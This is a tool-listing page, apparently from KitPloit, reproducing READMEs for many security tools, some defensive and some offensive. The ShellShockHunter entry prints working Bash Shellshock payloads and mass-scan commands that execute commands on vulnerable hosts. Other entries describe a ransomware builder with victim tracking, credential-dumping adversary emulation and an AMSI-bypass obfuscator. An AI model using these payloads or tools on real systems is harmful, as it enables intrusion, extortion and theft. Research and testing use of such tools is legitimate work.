Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

Ditto - A Tool For IDN Homograph Attacks And Detection

$
0
0


Ditto is a small tool that accepts a domain name as input and generates all its variants for an homograph attack as output, checking which ones are available and which are already registered.

PoC domains


Using with Docker

The image on docker hub is updated on every push, you can just:

docker run evilsocket/ditto -h

Compiling from sources

Compiling from sources requires the go compiler, this will install the binary in $GOPATH/bin:

# make sure go modules are used
GO111MODULE=on go get github.com/evilsocket/ditto/cmd/ditto

Usage

To only transform a string:

ditto -string google

For a domain:

ditto -domain facebook.com

Use more concurrent workers to increase speed (WARNING: might cause a temporary IP ban from the WHOIS servers):

ditto -workers 4 -domain facebook.com

If instead of mutating the domain name you want to check other TLDs (throttle is set to 1s in order to avoid being blocked by WHOIS servers due to the many requests in a short timeframe):

ditto -domain facebook.com -tld -throttle 1000 -limit 100

Only show available domains:

ditto -domain facebook.com -available

Only show registered domains:

ditto -domain facebook.com -registered

Only show registered domains that resolve to an IP:

ditto -domain facebook.com -live

Show WHOIS information:

ditto -domain facebook.com -live -whois

Save to CSV file with extended WHOIS information:

ditto -domain facebook.com -whois -csv output.csv

Keep running and monitoring for changes every hour:

ditto -domain facebook.com -monitor 1h

The same but also keep and store the changes as JSON files:

ditto -domain facebook.com -monitor 1h -changes /some/path -keep-changes

Execute a command if changes have been detected (see example send-email-report.sh in this repo, automatically added to the docker image):

    ditto -domain facebook.com \
-monitor 1h \
-trigger "/usr/bin/send-email-report.sh {{.Domain}} {{.ChangesFile}} your@email.com"

For more options:

ditto -help



Wifi-Password - Quickly Fetch Your WiFi Password And If Needed, Generate A QR Code Of Your WiFi To Allow Phones To Easily Connect

$
0
0


Quickly fetch your WiFi password and if needed, generate a QR code of your WiFi to allow phones to easily connect. 

Works on macOS and Linux and Windows


Installation

Install using pip
$ python3 -m pip install --user wifi-password

Install using git
$ git clone https://github.com/sdushantha/wifi-password
$ cd wifi-password
$ python3 setup.py install

Install using the AUR
$ sudo pamac build wifi-password

Usage
$ wifi-password
usage: wifi_password [options]

optional arguments:
-h, --help show this help message and exit
--qrcode, -q Generate a QR code
--image, -i Create the QR code as image instead of showing it on the terminal (must be useed along with --qrcode)
--ssid SSID, -s SSID Specify a SSID that you have previously connected to
--version Show version number

Reference
  • This project is an improvement of wifi-password created by @rauchg, where I have added support for multiple platforms and have added the feature for generating QR codes.
  • wifiPassword created by @ankitjain28may was frequently used as reference throughout the development of this project.


ATTPwn - Tool Designed To Emulate Adversaries

$
0
0


ATTPwn is a computer security tool designed to emulate adversaries. The tool aims to bring emulation of a real threat into closer contact with implementations based on the techniques and tactics from the MITRE ATT&CK framework. The goal is to simulate how a threat works in an intrusion scenario, where the threat has been successfully deployed. It is focused on Microsoft Windows systems through the use of the Powershell command line. This enables the different techniques based on MITRE ATT&CK to be applied. ATTPwn is designed to allow the emulation of adversaries as for a Red Team exercise and to verify the effectiveness and efficiency of the organization's controls in the face of a real threat.


Prerequisities

To run ATTPwn it is mandatory to have PowerShell 3.0 or higher. To run the ATTPwn you need python 3 or higher and some python libraries. You can install this with:

pip install -r requirements.txt  

Note: ATTPwn works in python 3.X. Make sure you run a pip relative to this version.


Usage
python app.py  

Now, open your browser: http://localhost:5000

pip install -r requirements.txt

Docker

You can use:

docker build -t attpwn:latest .  

You can create a container:

docker run --rm -d -p 5000:5000 attpwn:latest  

Example videos

ATTPwn - All-in-One: Discovery + privilege escalation + credential dumping + lateral movement on W10



ATTPwn - All-in-One: Discovery + privilege escalation + credential dumping + lateral movement on W7



ATTPwn: Powerdump + bypass uac + powerdump + minikatz



ATTPwn: Generation of a basic threat plan and deployment on machine to check your controls/defenses)



Contact

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

This software doesn't have a QA Process. This software is a Proof of Concept.

If you have any problems, you can contact:

pablo.gonzalezperez@telefonica.com - Ideas Locas CDCO - Telefónica

franciscojose.ramirezvicente@telefonica.com - Ideas Locas CDCO - Telefónica

victor.rodriguez.practicas@telefonica.com - Ideas Locas CDCO - Telefónica

For more information please visit https://www.elevenpaths.com.



Cypher - Crypto Cipher Encode Decode Hash

$
0
0


All in one tools for CRYPTOLOGY.

Instagram: Capture the Root


Screenshots








How to use



Features

This tool include:

  • HASH
  • RSA
  • XOR
  • AES (ECC)
  • AES (CBC)
  • DES (ECB)
  • FERNET
  • RC2
  • RC4
  • CHACHA20POLY1305
  • TRANSPOSITION
  • DIFFIE HELMAN
  • IMAGE ENCRYPT/DECRYPT
  • FILE ENCRYPT/DECRYPT

Installation


Installation with requirements.txt
git clone https://github.com/capture0x/cypher
cd cypher
pip3 install -r requirements.txt

Usage
python3 cryptot.py

HASH

Encryption and decryption algorithms ==> BASE64 MD5 SHA1SHA384SHA256 SHA512


RSA

Encrypts strings by generating public and private keys


IMAGE ENCRYPT/DECRYPT

Key and iv value must be 16 or 32 bytes, then specify the path of your image

ex: key==> 1234567812345678 iv ==> 1234567812345678 path ==> /home/user/Desktop/a.jpg


FILE ENCRYPT/DECRYPT

Encryption ==> Specify the path to the files you want to encrypt

ex: /home/user/Desktop


Bugs and enhancements

For bug reports or enhancements, please open an issue here.

Copyright 2021



ShellShockHunter - It's A Simple Tool For Test Vulnerability Shellshock

$
0
0


It's a simple tool for test vulnerability shellshock

Autor:    MrCl0wn
Blog: http://blog.mrcl0wn.com
GitHub: https://github.com/MrCl0wnLab
Twitter: https://twitter.com/MrCl0wnLab
Email: mrcl0wnlab\@\gmail.com

Shellshock (software bug)

Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.


Disclaimer

This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (MrCl0wnLab) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not MrCl0wnLab's responsibility.


Installation

Use the package manager pip


Pip
pip install shodan
pip install ipinfo

Help
python main.py --help

usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] [--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <10>] [--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
-h, --help show this help message and exit
--file <ips.txt> File targets
--range <ip-start>,<ip-end>
Range IP Ex: 192.168.15.1,192.168.15.100
--cmd-cgi <command shell>
Command: uname -a
--exec-vuln <command shell>
Executing commands on vulnerable targets
--thread <10>, -t <10>
Eg. 20
--check Checker vuln
--ssl Set protocol https
--cgi-file &l t;cgi.txt>
Set file cgi
--timeout <5> Set timeout conection
--all Teste all payloads
--debug Set debugs

Command e.g:
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

Prints:

START



PROCESS



EXPECIAL COMMAND ( --exec-vuln 'echo "_TARGET_"' )



Source file ( Exploits )

pwd: assets/exploits.json

{
"DEFAULT":
"() { :; }; echo ; /bin/bash -c '_COMMAND_'",
"CVE-2014-6271":
"() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
"CVE-2014-6271-2":
"() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
"CVE-2014-6271-3":
"() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
"CVE-2014-7169":
"() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
"CVE-2014-7186":
"/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
"CVE-2014-7187":
"(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
"CVE-2014-6278":
"() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
"CVE-2014-6278-2":
"shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
"CVE-2014-6277":
"() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
"CVE-2014-*":
"() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

Source file ( Config )

pwd: assets/config.json

{
"config": {
"threads": 10,
"path": {
"path_output": "output/",
"path_wordlist": "wordlist/",
"path_modules": "modules/",
"path_assets": "assets/"
},
"files_assets":{
"config": "assets/config.json",
"autor": "assets/autor.json",
"exploits": "assets/exploits.json"
},
"api":{
"shodan":"",
"ipinfo":""
}
}
}

Tree
├── assets
│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│   ├── banner.png
│   ├── print01.png
│   ├── print02.png
│   └── print03.png
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └─&#9472 ; thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
└── cgi.txt

Ref

Roadmap

I started this project to study a little more python and interact more with APIS like shodan and ipinfo.

  • Command line structure
  • Banner
  • File management class
  • HttpRequests management class
  • Thread management class
  • Source file for exploits
  • Color in process
  • Shell Exec on vulnerable targets
  • Process debug
  • Integration with ipinfo api
  • Integration with ipinfo api
  • Integration with telegram api
  • Backdoor creation
  • Visual filter
  • Header manipulation


Patriot-Linux - Host IDS For Desktop Users

$
0
0

Patriot Linux is a HIDS for desktop users who wants real time graphical alerts when something suspicious happens

Patriot detect:

1- Suspicious process running


2- New process starting TCP/IP Connection


3- Auditd alerts


4- New keyboards plugged


Installation

You need to configure Auditd with this suggested rules https://github.com/Neo23x0/auditd (you can use your own rules and simply modify keywords in the code)

Install xinput (apt install xinput or yum install xorg-x11-server-utils)

And then simply download py files and run python3 patriot.py

Tested in CentOS/Fedora and Debian/Ubuntu



PatrowlHears - PatrowlHears - Vulnerability Intelligence Center / Exploits

$
0
0


PatrOwl provides scalable, free and open-source solutions for orchestrating Security Operations and providing Threat Intelligence feeds. PatrowlHears is an advanced and real-time VulnerabilityIntelligence platform, including CVE, exploits and threats news.


Try it now!

To try PatrowlHears, install it by reading the Installation Guide.


Architecture

Fully-Developed in Python, PatrowlHears is composed of a backend application using the awesome Django framework and a frontend based on Vue.js + Vuetify. Asynchronous tasks and engine scalability are supported by RabbitMQ and Celery. PatrowlHears features and data are reachable using the embedded WEB interface or using the REST-API.


Side projects
  • PatrowlHearsData: Contains data-scrapper scripts collecting CVE, CPE, CWE and exploit references (cf. CVE-SEARCH project) + raw data as JSON files
  • PatrowlHears4py: Python CLI and library for PatrowlHears API.

License

PatrowlHears is an open source and free software released under the AGPL (Affero General Public License). We are committed to ensure that PatrowlHears will remain a free and open source project on the long-run.


Updates

Information, news and updates are regularly posted on Patrowl.io Twitter account.


Contributing

Please see our Code of conduct. We welcome your contributions. Please feel free to fork the code, play with it, make some patches and send us pull requests via issues.


Roadmap

TBD


Support

Please open an issue on GitHub if you'd like to report a bug or request a feature. We are also available on Gitter to help you out.

If you need to contact the project team, send an email to getsupport@patrowl.io.


Pro Edition available in SaaS and on-premise

A commercial Pro Edition is available and officially supported by the PatrOwl company. It includes following extra and awesome engines:

  • PatrOwl CSIRT feeds, managed by qualified Cyber-Threat Intelligence analysts
  • Terraform+Ansible deployment scripts
  • Official Pro Support
  • 3rd party authentication: Azure Active Directory, ADFS (Windows 2012 and 2016), LDAP (WIP)
  • Ticketing system integration, including JIRA, ServiceNow, ZenDesk and GLPI (WIP)

PatrowlHears is available on the official PatrOwl SaaS platform or on-premise. See: https://patrowl.io/products/hears


Commercial Services

Looking for advanced support, training, integration, custom developments, dual-licensing ? Contact us at getsupport@patrowl.io


Security contact

Please disclose any security-related issues or vulnerabilities by emailing security@patrowl.io, instead of using the public issue tracker.


Copyright

Copyright (C) 2020-2021 Nicolas MATTIOCCO (@MaKyOtOx - nicolas@patrowl.io)



XSSTRON - Electron JS Browser To Find XSS Vulnerabilities Automatically

$
0
0


Powerful Chromium Browser to find XSS Vulnerabilites automatically while browsing web, it can detect many case scenarios with support for POST requests too


Installation

Become root (sudo su)

Install Node.js and npm (https://www.npmjs.com/get-npm) or (sudo apt install npm)

Download this repo files or (git clone https://github.com/RenwaX23/XSSTRON)

cd XSSTRON

npm install

npm start


Some users using Debian/Ubuntu might not able to run the tool as i think it's an issue with Electron itself, you can continue using the app in Window/OSX and Linux installed on Windows. Check Known Issues


Usage

Just browse the web like a normal web browser then it will automatically look for XSS vulns in background and show them in a new window with POC




GET request POC



POST request POC



Known issues

Some users in certain linux distributions get into some problems try these

  • In (package.json) change it to:
  "devDependencies": {
"electron": "^10"
},
  • Try to update npm and nodejs to latest version
  • delete node_modules folder and reinstall
  • in package.json change the electron devDepencies to (electron11-bin)
  • install electron using (npm install electron) and run the app with electron using (electron .) with each step remember to delete the node_modules folder and re install again using (npm install)

Failed to serialize arguments is known issue and might be fixed soon :)


Thanks for



BaphoDashBoard - Dashboard For Manage And Generate The Baphomet Ransomware

$
0
0


With this proyect we will be able to handle the data of the victims we obtain with Baphomet Ransomware. BaphoDashBoard is developed in C# under framework dotnet-core 3.1. Both Baphomet Ransomware and BaphoDashBoard proyects are thrown out for educational purposes and so we can get something out of it to learn new things.


DashBoard features

  • Generate .exe to encrypt data.
  • Generate .exe to decrypt data.
  • When we generate the ransomware, we keep the rsa keys that encrypt the symmetric key in charge of encrypting the files.
  • Location of each victim shown on map.
  • Graphics for better visualization.
  • We can obtain the data of all our hosting servers.
  • Handling of each baphomet.exe that we generate.
  • Victims details and more using web scraping.

Requirements


Operating systems tested to date to run Bapho-Dashboard

  • Windows 10
  • Mac OS Mojave

File that we must modify

  • file: BaphoDashBoard > Dal > Services > BaseService.cs line: 32
  • NOTE: We add the hosting that contains the victim's data. for example https://myhosting.com/data.txt

Instalation and Framework use

For complete tutorials of Baphodashboard use join me on Patreon, where I will be sharing information and exclusive content about hacking, malware creation, tutorials for use my projects, etc. 


Video Demo


Baphomet Ransomware:  https://www.kitploit.com/2020/12/baphomet-basic-concept-of-how.html


Service for more information and help

  • Twitter-DM : https://twitter.com/Chungo_0/


Diceware-Password-Generator - Python Implementation Of The Diceware Password Generating Algorithm

$
0
0


Please Note - This Program Do Not Store Passwords In Any Form And All The Passwords Are Generated Locally Inside You Device.

Diceware is a method used to generate cryptographically strong memorable passphrases. This is a python implementation of the diceware password generating algorithm. Inspired after watching this video.


How DPG Generate Passwords?

Traditional Diceware uses rolls of physical dice, this application uses a strong random number generator in place of the dice. A virtual dice is roled 5 times, and the 5 digit number used against a lookup table of words. 6 dice rolls gives you 6 random words which are easy for a human being to remember, yet have a high amount of entropy which makes them hard to crack.

WARNING : Using a computer to generate your passphrases is not as secure as rolling physical die with a paper reference of the diceware list.

For more details check out the diceware passphrase home page.


Git Installation
# clone the repo
$ git clone https://github.com/sameera-madushan/Diceware-Password-Generator.git

# change the working directory to Diceware-Password-Generator
$ cd Diceware-Password-Generator

Usage
usage: python dpg.py



Darkdump - Search The Deep Web Straight From Your Terminal

$
0
0


Darkdump is a simple script written in Python3.9 in which it allows users to enter a search term (query) in the command line and darkdump will pull all the deep web sites relating to that query. Darkdump wraps up the darksearch.io API.


Installation
  1. git clone https://github.com/josh0xA/darkdump
  2. cd darkdump
  3. python3 -m pip install -r requirements.txt
  4. python3 darkdump.py --help

Usage

Example 1: python3 darkdump.py --query programming
Example 2: python3 darkdump.py --query="chat rooms"
Example 3: python3 darkdump.py --query hackers --page 2

  • the 'page' argument filters through the second page of the results that the darksearch engine returns

Menu

____ _ _
| \ ___ ___| |_ _| |_ _ _____ ___
| | | .'| _| '_| . | | | | . |
|____/|__,|_| |_,_|___|___|_|_|_| _|
|_|

Developed By: Josh Schiavone
https://github.com/josh0xA
joshschiavone.com

usage: darkdump.py [-h] [-v] -q QUERY [-p PAGE]

optional arguments:
-h, --help show this help message and exit
-v, --version returns darkdump's version
-q QUERY, --query QUERY
the keyword or string you want to search on the deepweb
-p PAGE, --page PAGE the page number to filter through the results that the search engine returns (default=1).


Visual



Ethical Notice

The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Do not use darkdump to navigate websites that take part in any activity that is identified as illegal under the laws and regulations of your government. May God bless you all.



Project iKy v2.7.0 - Tool That Collects Information From An Email And Shows Results In A Nice Visual Interface

$
0
0

Project iKy is a tool that collects information from an email and shows results in a nice visual interface.

Visit the Gitlab Page of the Project

Installation

Clone repository

git clone https://gitlab.com/kennbroorg/iKy.git

Install Backend

Redis

You must install Redis
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
sudo make install

Python stuff and Celery

You must install the libraries inside requirements.txt
python3 -m pip install-r requirements.txt

Install Frontend

Node

First of all, install nodejs.

Dependencias

Inside the directory frontend install the dependencies
cd frontend
npm install

Wake up iKy Tool

Turn on Backend

Redis

Turn on the server in a terminal
redis-server

Python stuff and Celery

Turn on Celery in another terminal, within the directory backend
./celery.sh
Again, in another terminal turn on backend app from directory backend
python3 app.py

Turn on Frontend

Finally, to run frontend server, execute the following command from directory frontend
npm start

Screen after turn on iKy


Browser

Open the browser in this url

Config API Keys

Once the application is loaded in the browser, you should go to the Api Keys option and load the values of the APIs that are needed.
  • Fullcontact: Generate the APIs from here
  • Twitter: Generate the APIs from here
  • Linkedin: Only the user and password of your account must be loaded
  • HaveIBeenPwned : Generate the APIs from here (Paid)
  • Emailrep.io : Generate the APIs from here

Wiki



Demo Videos


iKy eko15


iKy Version 2


Testing iKy with Emiliano


Testing iKy with Giba


iKy version 1

 
 iKy version 0

Disclaimer

Anyone who contributes or contributed to the project, including me, is not responsible for the use of the tool (Neither the legal use nor the illegal use, nor the "other" use).
Keep in mind that this software was initially written for a joke, then for educational purposes (to educate ourselves), and now the goal is to collaborate with the community making quality free software, and while the quality is not excellent (sometimes not even good) we strive to pursue excellence.
Consider that all the information collected is free and available online, the tool only tries to discover, collect and display it. Many times the tool cannot even achieve its goal of discovery and collection. Please load the necessary APIs before remembering my mother. If even with the APIs it doesn't show "nice" things that you expect to see, try other e-mails before you remember my mother. If you still do not see the "nice" things you expect to see, you can create an issue, contact us by e-mail or by any of the RRSS, but keep in mind that my mother is neither the creator nor Contribute to the project.
We do not refund your money if you are not satisfied. I hope you enjoy using the tool as much as we enjoy doing it. The effort was and is enormous (Time, knowledge, coding, tests, reviews, etc.) but we would do it again. Do not use the tool if you cannot read the instructions and / or this disclaimer clearly.
By the way, for those who insist on remembering my mother, she died many years ago but I love her as if she were right here.


Damn-Vulnerable-GraphQL-Application - Damn Vulnerable GraphQL Application Is An Intentionally Vulnerable Implementation Of Facebook's GraphQL Technology, To Learn And Practice GraphQL Security

$
0
0

Damn Vulnerable GraphQL Application is an intentionally vulnerable implementation of Facebook's GraphQL technology, to learn and practice GraphQL Security.


About DVGA

Damn Vulnerable GraphQL is a deliberately weak and insecure implementation of GraphQL that provides a safe environment to attack a GraphQL application, allowing developers and IT professionals to test for vulnerabilities.

DVGA has numerous flaws, such as Injections, Code Executions, Bypasses, Denial of Service, and more. See the full list under the Scenarios section.


Operation Modes

DVGA supports Beginner and Expert level game modes, which will change the exploitation difficulty.


Scenarios
  • Denial of Service
    • Batch Query Attack
    • Deep Recursion Query Attack
    • Resource Intensive Query Attack
  • Information Disclosure
    • GraphQL Introspection
    • GraphiQL Interface
    • GraphQL Field Suggestions
    • Server Side Request Forgery
  • Code Execution
  • Injection
    • Stored Cross Site Scripting
    • HTML Injection
  • Authorization Bypass
    • GraphQL Interface Protection Bypass
    • GraphQL Query Deny List Bypass
  • Miscellaneous
    • GraphQL Query Weak Password Protection
    • Arbitrary File Write // Path Traversal

Prerequisites

The following Python3 libraries are required:

  • Python3
  • Flask
  • Flask-SQLAlchemy
  • Graphene
  • Graphene-SQLAlchemy

See requirements.txt for dependencies.


Installation

Docker

Clone the repository

git clone git@github.com:dolevf/Damn-Vulnerable-GraphQL-Application.git && cd Damn-Vulnerable-GraphQL-Application


Build the Docker image

docker build -t dvga .


Create a container from the image

docker run -t -p 5000:5000 -e WEB_HOST=0.0.0.0 dvga

In your browser, navigate to http://localhost:5000

Optionally, if you need the application to bind on a specific port or interface, use the following command: docker run -e WEB_HOST=0.0.0.0 -e WEB_PORT=8080 -t -p 8080:8080 dvga


Server

Navigate to /opt

cd /opt/


Clone the repository

git clone git@github.com:dolevf/Damn-Vulnerable-GraphQL-Application.git && cd Damn-Vulnerable-GraphQL-Application


Install Requirements

pip3 install -r requirements.txt


Run application

python3 app.py

In your browser, navigate to http://localhost:5000.


Screenshots






Maintainers
  • Dolev Farhi
  • Connor McKinnon

Mentions

Disclaimer

DVGA is highly insecure, and as such, should not be deployed on internet facing servers. By default, the application is listening on 127.0.0.1 to avoid misconfigurations.

DVGA is intentionally flawed and vulnerable, as such, it comes with no warranties. By using DVGA, you take full responsibility for using it.



UDdup - Urls De-Duplication Tool For Better Recon

$
0
0


The tool gets a list of URLs, and removes "duplicate" pages in the sense of URL patterns that are probably repetitive and points to the same web template.

For example:

https://www.example.com/product/123
https://www.example.com/product/456
https://www.example.com/product/123?is_prod=false
https://www.example.com/product/222?is_debug=true

All the above are probably points to the same product "template". Therefore it should be enough to scan only some of these URLs by our various scanners.


The result of the above after UDdup should be:

https://www.example.com/product/123?is_prod=false
https://www.example.com/product/222?is_debug=true

Why do I need it?

Mostly for better (automated) reconnaissance process, with less noise (for both the tester and the target).


Examples

Take a look at demo.txt which is the raw URLs file which results in demo-results.txt.


Installation

With pip (Recommended)
pip install uddup

Manual (from code)
# Clone the repository.
git clone https://github.com/rotemreiss/uddup.git

# Install the Python requirements.
cd uddup
pip install -r requirements.txt

Usage

uddup -u demo.txt -o ./demo-result.txt


More Usage Options

uddup -h

Short FormLong FormDescription
-h--helpShow this help message and exit
-u--urlsFile with a list of urls
-o--outputSave results to a file
-s--silentPrint only the result URLs
-fp--filter-pathFilter paths by a given Regex

Filter Paths by Regex

Allows filtering custom paths pattern. For example, if we would like to filter all paths that starts with /product we will need to run:

# Single Regex
uddup -u demo.txt -fp "^product"

Input:

https://www.example.com/
https://www.example.com/privacy-policy
https://www.example.com/product/1
https://www.example2.com/product/2
https://www.example3.com/product/4

Output:

https://www.example.com/
https://www.example.com/privacy-policy

Advanced Regex with multiple path filters
uddup -u demo.txt -fp "(^product)|(^category)"

Contributing

Feel free to fork the repository and submit pull-requests.


Support

Create new GitHub issue

Want to say thanks? :) Message me on Linkedin



OSV - Open Source Vulnerability DB And Triage Service

$
0
0


OSV is a vulnerability database and triage infrastructure for open source projects aimed at helping both open source maintainers and consumers of open source.

For open source maintainers, OSV's automation helps reduce the burden of triage. Each vulnerability undergoes automated bisection and impact analysis to determine precise affected commit and version ranges.

For open source consumers, OSV provides an API that lets users of these projects query whether or not their versions are impacted.


Current data sources:

This is an ongoing project. We are hoping to work with the open source community to onboard more sources of data.


Viewing the web UI

An instance of OSV's web UI is deployed at https://osv.dev.


Using the API
  curl -X POST -d \
'{"commit": "6879efc2c1596d11a6a6ad296f80063b558d5e0f"}' \
"https://api.osv.dev/v1/query?key=$API_KEY"

curl -X POST -d \
'{"version": "1.0.0", "package": {"name": "foo", "ecosystem": "bar"}}' \
"https://api.osv.dev/v1/query?key=$API_KEY"

Detailed documentation for using the API can be found at https://osv.dev/docs/.


Architecture

You can find an overview of OSV's architecture here.


This repository

This repository contains all the code for running OSV on GCP. This consists of:

  • API server (gcp/api)
  • Web interface (gcp/appengine)
  • Workers for bisection and impact analysis (docker/worker)
  • Sample tools (tools)

You'll need to check out submodules as well for many local building steps to work:

git submodule update --init --recursive

Contributions are welcome! We also have a mailing list and a FAQ.




Gitlab-Watchman - Monitoring GitLab For Sensitive Data Shared Publicly

$
0
0


GitLab Watchman is an application that uses the GitLab API to audit GitLab for sensitive data and credentials exposed internally.


Features

It searches GitLab for internally shared projects and looks at:

  • Code
  • Commits
  • Wiki pages
  • Issues
  • Merge requests
  • Milestones

For the following data:

  • GCP keys and service account files
  • AWS keys
  • Azure keys and service account files
  • Google API keys
  • Slack API tokens & webhooks
  • Private keys (SSH, PGP, any other misc private key)
  • Exposed tokens (Bearer tokens, access tokens, client_secret etc.)
  • S3 config files
  • Tokens for services such as Heroku, PayPal and more
  • Passwords in plaintext
  • and more

Time based searching

You can run GitLab Watchman to look for results going back as far as:

  • 24 hours
  • 7 days
  • 30 days
  • All time

This means after one deep scan, you can schedule GitLab Watchman to run regularly and only return results from your chosen timeframe.


Rules

GitLab Watchman uses custom YAML rules to detect matches in GitLab.

They follow this format:

---
filename:
enabled: #[true|false]
meta:
name:
author:
date:
description: #what the search should find#
severity: #rating out of 100#
scope: #what to search, any combination of the below#
- blobs
- commits
- milestones
- wiki_blobs
- issues
- merge_requests
test_cases:
match_cases:
- #test case that should match the regex#
fail_cases:
- #test case that should not match the regex#
strings:
- #search query to use in GitLab#
pattern: #Regex pattern to filter out false positives#

There are Python tests to ensure rules are formatted properly and that the Regex patterns work in the tests dir

More information about rules, and how you can add your own, is in the file docs/rules.md.


Logging

GitLab Watchman gives the following logging options:

  • Log file
  • Stdout
  • TCP stream

Results are output in JSON format, perfect for ingesting into a SIEM or other log analysis platform.

For file and TCP stream logging, configuration options need to be passed via .conf file or environment variable. See the file docs/logging.md for instructions on how to set it up.

If no logging option is given, GitLab Watchman defaults to Stdout logging.


Requirements

GitLab versions

GitLab Watchman uses the v4 API, and works with GitLab Enterprise Edition versions:

  • 13.0 and above - Yes

  • GitLab.com - Yes

  • 12.0 - 12.10 - Maybe, untested but if using v4 of the API then it could work


GitLab Licence & Elasticsearch

To search the scopes:

  • blobs
  • wiki_blobs
  • commits

The GitLab instance must have Elasticsearch configured, and be running Enterprise Edition with a minimum GitLab Starter or Bronze Licence.


GitLab personal access token

To run GitLab Watchman, you will need a GitLab personal access token.

You can create a personal access token in the GitLab GUI via Settings -> Access Tokens -> Add a personal access token

The token needs permission for the following scopes:

api

Note: Personal access tokens act on behalf of the user who creates them, so I would suggest you create a token using a service account, otherwise the app will have access to your private repositories.


GitLab URL

You also need to provide the URL of your GitLab instance.


Providing token & URL

GitLab Watchman will first try to get the the GitLab token and URL from the environment variables GITLAB_WATCHMAN_TOKEN and GITLAB_WATCHMAN_URL, if this fails they will be taken from .conf file (see below).


.conf file

Configuration options can be passed in a file named watchman.conf which must be stored in your home directory. The file should follow the YAML format, and should look like below:

gitlab_watchman:
token: abc123
url: https://gitlab.example.com
logging:
file_logging:
path:
json_tcp:
host:
port:

GitLab Watchman will look for this file at runtime, and use the configuration options from here. If you are not using the advanced logging features, leave them blank.

If you are having issues with your .conf file, run it through a YAML linter.

An example file is in docs/example.conf

Note If you use any other Watchman applications and already have a watchman.conf file, just append the conf data for GitLab Watchman to the existing file.


Installation

Install via pip

pip install gitlab-watchman

Or via source


Usage

GitLab Watchman will be installed as a global command, use as follows:

usage: gitlab-watchman [-h] --timeframe {d,w,m,a} --output
{file,stdout,stream} [--version] [--all] [--blobs]
[--commits] [--wiki-blobs] [--issues] [--merge-requests]
[--milestones] [--comments]

Monitoring GitLab for sensitive data shared publicly

optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
--all Find everything
--blobs Search code blobs
--commits Search commits
--wiki-blobs Search wiki blobs
--issues Search issues
--merge-requests Search merge requests
--milestones Search milestones
--comments Search comments

required arguments:
--timeframe {d,w,m,a}
How far back to search: d = 24 hours w = 7 days, m =
30 days, a = all time
--output {file,stdout,stream}
Where to send results

You can run GitLab Watchman to look for everything, and output to default Stdout:

gitlab-watchman --timeframe a --all

Or arguments can be grouped together to search more granularly. This will look for commits and milestones for the last 30 days, and output the results to a TCP stream:

gitlab-watchman --timeframe m --commits --milestones --output stream


Other Watchman apps

You may be interested in some of the other apps in the Watchman family:


License

The source code for this project is released under the GNU General Public Licence. This project is not associated with GitLab.



Chimera - A (Shiny And Very Hack-Ish) PowerShell Obfuscation Script Designed To Bypass AMSI And Commercial Antivirus Solutions

$
0
0


